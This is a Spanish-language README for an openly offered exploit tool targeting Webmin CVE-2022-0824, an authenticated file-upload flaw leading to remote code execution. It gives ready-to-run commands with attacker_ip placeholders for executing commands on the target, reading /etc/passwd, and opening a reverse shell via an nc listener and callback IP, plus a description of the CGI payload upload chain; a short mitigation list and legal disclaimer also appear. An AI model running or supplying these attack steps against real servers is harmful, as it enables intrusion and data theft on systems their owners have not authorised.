Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Herramienta de explotación mejorada para Webmin CVE-2022-0824 - Soporta modo de ejecución de comandos y modo de shell inversa

[!IMPORTANT]
Una herramienta de explotación mejorada para la vulnerabilidad CVE-2022-0824 en Webmin, que soporta dos modos: ejecución directa de comandos y shell inversa.
🚀 Características
- ✅ Soporte de doble modo: Modo de ejecución de comandos + Modo de shell inversa
- ✅ Múltiples payloads: Tres payloads diferentes: Perl, Bash, Python
- ✅ Gestión inteligente de archivos: Generación automática de nombres de archivo únicos para evitar conflictos
- ✅ Subida forzada con sobrescritura: Manejo automático de la sobrescritura de archivos existentes
- ✅ Múltiples métodos de subida: Descarga HTTP, subida directa, creación mediante comandos
- ✅ Información de depuración detallada: Registro completo del proceso de ejecución
- ✅ Interfaz amigable: Salida a color e indicadores de estado claros
- ID CVE: CVE-2022-0824
- Versiones afectadas: Webmin < 1.990
- Tipo de vulnerabilidad: Ejecución remota de código por subida arbitraria de archivos
- Puntuación CVSS: 9.8 (Crítica)
🛠️ Requisitos de instalación
# Python 3.6+
pip3 install requests urllib3
📖 Modo de uso
Modo de ejecución de comandos (recomendado)
# Ejecución básica de comandos
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# Ver información del sistema
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# Listar archivos
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# Ver archivos sensibles
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# Información de red
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Modo de shell inversa
# 1. Iniciar el listener
nc -nlvp 9999
# 2. Ejecutar el exploit
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
📝 Descripción de parámetros
| Parámetro | Descripción | Obligatorio | Ejemplo |
|---|
-t, --target | URL objetivo de Webmin | ✅ | http://192.168.1.100:10000/ |
-c, --credential | Credenciales de inicio de sesión | ✅ | admin:password |
-LS, --py3http_server | Dirección del servidor HTTP | ✅ | 192.168.1.50:8080 |
--shell | Comando a ejecutar | ❌ | "ls -la" |
-L, --callback_ip | IP para la shell inversa | ❌* | 192.168.1.50 |
-P, --callback_port | Puerto para la shell inversa | ❌* | 9999 |
*Nota: Obligatorio en el modo de shell inversa
🎯 Ejemplos de uso
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Ejemplo 2: Exploración del sistema de archivos
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Ejemplo 3: Ver configuración de red
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
🔧 Cómo funciona
- Autenticación: Inicia sesión en la interfaz de administración de Webmin con las credenciales proporcionadas.
- Generación del payload: Genera un script CGI según el modo seleccionado.
- Subida del archivo: Sube el payload mediante la función de descarga HTTP del administrador de archivos.
- Establecimiento de permisos: Configura los permisos de ejecución del archivo subido.
- Ejecución de comandos: Accede al script CGI subido para ejecutar comandos o establecer una conexión inversa.
🛡️ Recomendaciones de protección
- Actualizar Webmin a la última versión (>= 1.990)
- Restringir el acceso de red a la interfaz de administración de Webmin
- Usar contraseñas seguras y autenticación de dos factores
- Auditar periódicamente los registros del sistema
- Implementar un firewall de aplicaciones web (WAF)
⚠️ Aviso legal
Esta herramienta está destinada únicamente para pruebas de seguridad autorizadas y fines educativos.
- 🚫 Prohibido su uso en sistemas no autorizados
- 🚫 Prohibido su uso para ataques maliciosos
- 🚫 El usuario asume la responsabilidad legal correspondiente
- ✅ Usar solo en entornos con autorización explícita
- ✅ Para investigación de seguridad y verificación de vulnerabilidades
📚 Detalles técnicos
Tipos de payload
- Perl CGI: Payload principal, mejor compatibilidad
- Bash CGI: Payload alternativo, adecuado para sistemas Linux
- Python CGI: Payload alternativo, con la funcionalidad más rica
Métodos de subida
- Descarga HTTP: A través de la función de descarga remota del administrador de archivos de Webmin
- Subida directa: A través de la interfaz de subida de archivos
- Creación por comando: Creación del archivo mediante comandos del sistema
Estrategia de nomenclatura de archivos
- Hash MD5 basado en el contenido del comando
- Sufijo de marca de tiempo
- Garantiza el uso de un nombre de archivo diferente en cada ejecución
🔄 Registro de cambios
v5.0 (2025-08-05)
- ✨ Nuevo modo de ejecución de comandos
- 🐛 Corregido problema de sobrescritura de archivos
- 🔧 Mejorada la estrategia de nomenclatura de archivos
- 📈 Mejorado el manejo de errores
v4.0 (Basado en original)
- 🎯 Basado en el código original de faisalfs10x
- 🔧 Mejorada la compatibilidad con CGI
- 📝 Añadido registro detallado
🤝 Contribuciones
¡Bienvenidos Issues y Pull Requests!
- Haz un Fork de este proyecto
- Crea una rama de características (
git checkout -b feature/AmazingFeature)
- Realiza los cambios (
git commit -m 'Add some AmazingFeature')
- Sube los cambios (
git push origin feature/AmazingFeature)
- Abre un Pull Request
📄 Licencia
Este proyecto está bajo la licencia MIT - consulta el archivo LICENSE para más detalles
🙏 Agradecimientos
Si tienes preguntas o sugerencias, contacta a través de:
- 📧 Abriendo un Issue en GitHub
- 🐛 Para reportar problemas de seguridad, envía un mensaje privado
⭐ ¡Si este proyecto te resulta útil, dale una estrella para apoyarlo!
🔗 Enlaces relacionados
requirements.txt
requests>=2.25.1
urllib3>=1.26.0